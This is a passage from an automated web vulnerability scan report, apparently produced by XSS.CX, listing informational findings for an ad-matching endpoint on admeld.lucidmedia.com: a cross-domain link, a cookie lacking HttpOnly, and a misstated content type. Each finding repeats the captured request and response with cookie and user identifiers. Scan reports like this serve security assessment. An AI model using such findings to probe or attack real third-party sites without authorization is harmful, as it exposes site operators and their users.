Path:   /clicksense/admeld/match

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_atf?t=1303946366067&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=http%3A%2F%2Fwww.cbsnews.com%2Fstories%2F2011%2F04%2F27%2Fscitech%2Fmain20057741.shtml%3Ftag%3Dstack
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2xpe64Z76BY

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
P3P: CP=NOI ADM DEV CUR
Date: Wed, 27 Apr 2011 23:20:19 GMT
Expires: Wed, 27 Apr 2011 23:20:20 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Thu, 26-Apr-2012 23:20:20 GMT; Path=/
Content-Type: text/plain
Content-Length: 164
Connection: close

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match?admeld_adprovider_id=73&external_user_id=3419824627245671268"/>');

4. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://admeld.lucidmedia.com
Path:   /clicksense/admeld/match

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_atf?t=1303946366067&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=http%3A%2F%2Fwww.cbsnews.com%2Fstories%2F2011%2F04%2F27%2Fscitech%2Fmain20057741.shtml%3Ftag%3Dstack
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2xpe64Z76BY

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
P3P: CP=NOI ADM DEV CUR
Date: Wed, 27 Apr 2011 23:20:19 GMT
Expires: Wed, 27 Apr 2011 23:20:20 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Thu, 26-Apr-2012 23:20:20 GMT; Path=/
Content-Type: text/plain
Content-Length: 164
Connection: close

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match?admeld_adprovider_id=73&external_user_id=3419824627245671268"/>');

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://admeld.lucidmedia.com
Path:   /clicksense/admeld/match

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain script.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /clicksense/admeld/match?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=73&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: admeld.lucidmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/489/cbsnews/300x250/cbsnews_atf?t=1303946366067&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fcbsinteractive.com&refer=http%3A%2F%2Fwww.cbsnews.com%2Fstories%2F2011%2F04%2F27%2Fscitech%2Fmain20057741.shtml%3Ftag%3Dstack
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2=2xpe64Z76BY

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
P3P: CP=NOI ADM DEV CUR
Date: Wed, 27 Apr 2011 23:20:19 GMT
Expires: Wed, 27 Apr 2011 23:20:20 GMT
Set-Cookie: 2=2xpe64Z76BY; Domain=.lucidmedia.com; Expires=Thu, 26-Apr-2012 23:20:20 GMT; Path=/
Content-Type: text/plain
Content-Length: 164
Connection: close

document.write('<img height="0" width="0" style="display: none;" src="http://tag.admeld.com/match?admeld_adprovider_id=73&external_user_id=3419824627245671268"/>');

Report generated by XSS.CX at Thu Apr 28 05:27:29 CDT 2011.